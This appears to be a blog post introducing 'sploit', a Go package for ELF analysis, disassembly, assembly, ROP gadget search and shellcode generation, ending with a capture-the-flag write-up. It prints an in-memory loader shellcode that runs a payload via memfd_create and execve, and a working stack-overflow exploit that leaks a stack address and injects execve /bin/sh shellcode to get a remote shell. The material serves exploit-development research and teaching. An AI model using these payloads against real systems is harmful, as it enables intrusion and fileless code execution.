Sploit – Binary Analysis and Exploitation with Go

Sploit is a Go package that aids in binary analysis and exploitation. In this blog post, I describe some of the core features of sploit and how it can be used for capture the flag as well as practical reverse engineering and exploit development.

Introduction to Sploit

I decided to create sploit to invest in a open source framework that isn’t built on top of commercial software, but provides a powerful headless API for automating reverse engineering and exploit development tasks. The current release (v0.1.0) consists of the following features:

• ELF interface that provides the ability to parse ELF files and access data by virtual address
• Capstone integration for disassembling machine code
• Assembly interface for compiling assembly to machine code (backed by GNU toolchain)
• ROP interface that supports filters to aid in locating specific gadgets
  • Currently, x86-64 and x86 only
• Pack/unpack methods for more easily converting between byte slices and integer types
• Remote interface that provides helpers for socket communication
• Shellcode sub-package that uses JIT-compilation to emit configured exploit payloads
• Support for ARM, AArch64, PPC, MIPS, x86, and x86-64 CPU architectures

Why Go?

This project is undeniably inspired by other frameworks such as pwntools and angr that are predominately written in Python. Python has taken over the reverse engineering world, understandably so. It is a powerful, high level language. It is easy to work with and is excellent for rapid prototyping, a trait that is especially important for exploit development. I’ve come to accept that whether it’s an IDA plugin, GDB script, or some recipe to automate a task, I’ll likely spend a small percentage of my time writing Python for the foreseeable future. However, coming from an embedded C background, I have never been a Python fan. I don’t like dynamic types, concurrency and unicode support were an afterthought, and Python programs are comparatively slower and less efficient than programs developed using other modern programming languages. Over the years, I have experimented with many Python alternatives. I wrote packages for Julia language and tried JVM based languages such as Scala and Clojure. About a year ago, I decided to learn Go. While I’ve found things I dislike about the language, it is the first high level language I’ve truly enjoyed using. Like Python it has a large standard library and is heavily adopted. Unlike Python it has excellent support for concurrency, is statically typed, and is able to be cross-compiled to run on over 15 different CPU architectures. It’s structure support and extensive list of numeric types make it especially well suited for security engineering where it’s not uncommon to have to work with binary file and wire formats. For these reasons I chose to use Go for sploit.

ELF Analysis

Go’s standard library contains a debug/elf package for handling ELF object files. Sploit’s ELF interface is built on top of it and acts as an abstraction layer to provide higher level methods that allow for using virtual addresses (VA) to operate on data in ELF segments. The ELF API encompasses methods that allow for data access and type transformations, binary signature searches, and code disassembly. The following example demonstrates locating and disassembling the _start routine in an ELF executable. This shows how the underlying debug/elf object is preserved and exported through sploit so we can leverage the lower level APIs to access ELF headers directly and query the e_entry. The e_entry field is a file offset so we use sploit to resolve the virtual address from the offset and disassemble the code. For brevity, I’ve chosen to omit error handling.

package main

import (
    "fmt"
    sp "github.com/zznop/sploit"
)

func main() {
    elf, _ := sp.NewELF("prog")
    entry, _ := elf.OffsetToAddr(elf.E.Entry)
    instrs, _ := elf.Disasm(entry, 42)
    fmt.Printf("_start  :\n%s", instrs)
}

> ./startdis 
_start  :
00001050: xor ebp, ebp
00001052: mov r9, rdx
00001055: pop rsi
00001056: mov rdx, rsp
00001059: and rsp, 0xfffffffffffffff0
0000105d: push rax
0000105e: push rsp
0000105f: lea r8, [rip + 0x15a]
00001066: lea rcx, [rip + 0xf3]
0000106d: lea rdi, [rip + 0xc1]
00001074: call qword ptr [rip + 0x2f66]

Assembly Compilation

Sploit is backed by the GNU toolchain and exposes a API that leverages the GNU Assembler (GAS) to just-in-time (JIT) compile assembly instructions to machine code. This can be used directly to write shellcode from scratch or indirectly through the higher level shellcode sploit sub-package. The following example demonstrates compiling x86 (32-bit) assembly and dumping the machine code.

package main;

import(
    "github.com/zznop/sploit"
    "encoding/hex"
    "fmt"
)

func main() {
    instrs := "mov rcx, r12\n"              +
              "mov rdx, r13\n"              +
              "mov r8, 0x1f\n"              +
              "xor r9, r9\n"                +
              "sub rsp, 0x8\n"              +
              "mov qword [rsp+0x20], rax\n"

    arch := &sploit.Processor {
        Architecture: sploit.ArchX8664,
        Endian: sploit.LittleEndian,
    }

    opcode, _ := sploit.Asm(arch, instrs)
    fmt.Printf("Opcode bytes:\n%s\n", hex.Dump(opcode))
}

> ./assemble_example
Opcode bytes:
00000000  4c 89 e1 4c 89 ea 49 c7  c0 1f 00 00 00 4d 31 c9  |L..L..I......M1.|
00000010  48 83 ec 08 48 89 44 24  28                       |H...H.D$(|

On the backend, sploit constructs an assembly prog.S file in /tmp containing the instructions passed to Asm() and shells out to GCC to compile it to a position-independent object file with -c -fpic flags. After building the prog.o object file, sploit shells out to objcopy to dump only the .text section to prog.bin. Sploit then proceeds to read prog.bin and return it as a byte slice. The template for prog.S is depicted below:

.section .text
.global _start
.intel_syntax noprefix
_start:
    // Input instructions get copied here

Shellcoding

Shellcoding can be achieved by using sploit’s Asm() method directly or by using sploit’s shellcode sub-package that provides higher level interfaces for constructing configured payloads that carry out generic tasks such as executing /bin/sh. As a surrogate payload for designing the shellcode interface I chose to integrate my x86-64 linux loader that can be prepended to any ELF executable or bash script to allow it to run in-memory as an exploit payload. I named the method LinuxMemFdExec. It takes a single argument, a byte slice containing the executable that needs to run as the final payload. LinuxMemFdExec compiles the stub assembly by calling the Asm() method, which returns a byte slice containing the unconfigured shellcode. Then, it appends the payload bytes and fixes up the executable_size with the size of the appended executable. The returned result is a byte slice containing the configured shellcode bytes.

// LinuxMemFdExec constructs a payload to run the supplied executable in an anonymous file descriptor
func (x8664 *X8664) LinuxMemFdExec(payload []byte) ([]byte, error) {
	instrs := `
jmp past

executable_size: .quad 0x4141414141414141   /* fixed up with size of executable */
fd_name: .byte 0                            /* emtpy file descriptor name */
fd_path: .ascii "/proc/self/fd/\0\0\0\0\0"  /* path to file descriptor for exec call */

past:
    mov rax, 319                            /* __NR_memfd_create syscall num */
    lea rdi, [rip+fd_name]                  /* ptr to empty file descriptor name */
    mov rsi, 1                              /* MFD_CLOEXEC (close file descriptor on exec) */
    syscall                                 /* create anonymous fd */
    test rax, rax                           /* good file descriptor? */
    js done                                 /* return if bad file descriptor */
    mov rdi, rax                            /* file descriptor (arg_0) */
    mov rax, 1                              /* __NR_write */
    lea rsi, [rip+executable]               /* pointer to executable base (arg_1) */
    mov rdx, qword [rip+executable_size]    /* load size of executable into rdx (arg_2) */
    syscall                                 /* write the executable to the fd */
    cmp rax, rdx                            /* did everything get written successfully? */
    jnz done                                /* fail out if all bytes were not written */
    call fixup_fd_path                      /* fixup the fd path string by converting the fd to a str */
    mov rax, 59                             /* execve syscall num */
    lea rdi, [rip+fd_path]                  /* filename */
    xor rcx, rcx                            /* zeroize rcx (terminator for argv) */
    push rcx                                /* push 0 to stack */
    push rdi                                /* push address of fd path to the stack */
    mov rsi, rsp                            /* argv (address of fd path, null) */
    xor rdx, rdx                            /* envp = NULL */
    syscall                                 /* call execve (won't return if successful) */
    add rsp, 16                             /* restore the stack */
done:
    ret                                     /* return */

/*
 * fixup the fd path string with the file descrpitor -
 * basically sprintf(foo, "/proc/self/fd/%i", fd)
 */

fixup_fd_path:
    mov rax, rdi                            /* number to be converted */
    mov rcx, 10                             /* divisor */
    xor bx, bx                              /* count digits */
.divide:
    xor rdx, rdx                            /* high part = 0 */
    div rcx                                 /* rcx = rcx:rax/rcx, rdx = remainder */
    push dx                                 /* dx is a digit in range [0..9] */
    inc bx                                  /* count digits */
    test rax, rax                           /* rax is 0? */
    jnz .divide                             /* no, continue */

    /* pop digits from stack in reverse order */
    mov cx, bx                              /* number of digits */
    lea rsi, [rip+fd_path]                  /* rsi points to fd path string buffer */
    add rsi, 14                             /* start of location to write the fd (as a string) */
.next_digit:
    pop ax
    add al, '0'                             /* convert to ASCII */
    mov [rsi], al                           /* write it to the buffer */
    inc si
    loop .next_digit
    ret

/* appended script or ELF executable */
executable:
`
	unconfigured, err := sp.Asm(x8664.arch, instrs)
	if err != nil {
		return nil, err
	}

	size := sp.PackUint64LE(uint64(len(payload)))
	configured := bytes.Replace(unconfigured, []byte{0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41}, size, 1)
	configured = append(configured, payload...)
	return configured, nil
}

ROP Gadget Searching

Sploit can be used to write programs for locating gadgets that can be leveraged for Return-oriented Programming (ROP). This can be useful for exploit development. Sploit currently contains limited functionality for searching for specific gadgets using filters (regular expressions). The following example demonstrates how sploit can be used to find and display all gadgets containing a “pop ebp” sub-string.

package main;

import(
    "github.com/zznop/sploit"
)

var program = "../test/prog1.x86_64"

func main() {
    elf, _ := sploit.NewELF(program)
    rop, _ := elf.ROP()

    matched, _ := rop.InstrSearch("pop rbp")
    matched.Dump()
}

0000111f: pop rbp ; ret
0000111d: add byte ptr [rcx], al ; pop rbp ; ret
00001118: mov byte ptr [rip + 0x2f11], 1 ; pop rbp ; ret
00001113: call 0x1080 ; mov byte ptr [rip + 0x2f11], 1 ; pop rbp ; ret
000011b7: pop rbp ; pop r14 ; pop r15 ; ret
000011b3: pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
000011b2: pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
000011af: add esp, 8 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
000011ae: add rsp, 8 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

InstrSearch() returns a ROP type, which can be iterated over to access the underlying Gadget structures. From the Gadget structure you can query the virtual address, instruction text, and opcode bytes.

Solving a CTF Challenge

Sploit consists of many other features not mentioned in this blog post. For brevity, I’ll demonstrate some of the remaining core features by solving a CTF challenge. The challenge is a simple stack overflow pwnable that I found online. I’ve provided a screenshot of the assembly below.

The challenge starts by pushing 20 bytes of ASCII onto the stack (“Let’s start the CTF:”) and writes it to stdout. Then it reads 60 bytes onto the stack beginning at var_1c. From var_1c there is only 20 bytes of space until the return address on the stack. Therefore, we are able to overflow to overwrite the return address. For this challenge, the stack is executable. We’ll exploit this program by writing a Go solution around sploit that completes the following steps:

1. Send 20 junk bytes and an address (0x08048087) to overwrite the return address with and trigger an info leak. This will cause the write syscall to run twice. The second time it runs, the stack frame will have been reset, causing it to write a stack pointer to stdout.
2. Extract the stack address and construct a second buffer to overflow the return address a second time to return to our payload. Note: after it leaks the stack address with the write syscall the program blocks on the read syscall

package main

import (
    sp "github.com/zznop/sploit"
)

var arch = &sp.Processor{
    Architecture: sp.ArchI386,
    Endian:       sp.LittleEndian,
}

var scInstrs = `mov al, 0xb   /* __NR_execve */
                sub esp, 0x30 /* Get pointer to /bin/sh (see below) */
                mov ebx, esp  /* filename (/bin/sh) */
                xor ecx, ecx  /* argv (NULL) */
                xor edx, edx  /* envp (NULL) */
                int 0x80`

func main() {
    shellcode, _ := sp.Asm(arch, scInstrs)
    r, _ := sp.NewRemote("tcp", "some.pwnable.online:10800")
    defer r.Close()
    r.RecvUntil([]byte("CTF:"), true)

    // Leak a stack address
    r.Send(append([]byte("/bin/sh\x00AAAAAAAAAAAA"), sp.PackUint32LE(0x08048087)...))
    resp, _ := r.RecvN(20)
    leakAddr := sp.UnpackUint32LE(resp[0:4])

    // Pop a shell
    junk := make([]byte, 20-len(shellcode))
    junk = append(junk, sp.PackUint32LE(leakAddr-4)...)
    r.Send(append(shellcode, junk...))
    r.Interactive()
}

The first feature worth mentioning in the solution code is use of sploit’s Remote interface. With the call to NewRemote, sploit establishes a TCP session with the server running on port 10800 at some.pwnable.online (I’ve redacted the real URL). Then, using the RecvUntil method, it receives data until receiving “CTF:”. The second feature worth mentioning is sploit’s unpack/pack interface (see the call to PackUint32LE). These helpers reduce the amount of code required to pack integer types into byte slices in comparison to using binary.LittleEndian.PutUint* functions that require the byte slice buffer to be allocated prior to the call. Many other features used by the solution, such as the payload JIT compilation, have been demonstrated already. The last feature I’d like to point out is the call to remote.Interactive. The Interactive method provides asynchronous I/O and dispatches user-input over the TCP session. In this example, it is used to interact with the remote shell.

Conclusion

Many of sploit’s core features will be familiar to those who have used pwntools. A lot of the core functionality has been designed based on my own experiences using pwntools and other python-based frameworks. As the core becomes more stable I intend on focusing on analysis features and less on the remote interfaces and enhancements to CTF workflows. In the future I plan to incorporate an emulation engine, possibly usercorn and begin adding APIs for dynamic analysis. I also hope to integrate an intermediate language and expand on the disassembly interface to do basic CFG recovery. My end goal is to produce widely adopted Go-based framework that can be used for headless automated reverse engineering and exploit development tasks for cloud-based or continuous integration (CI) applications.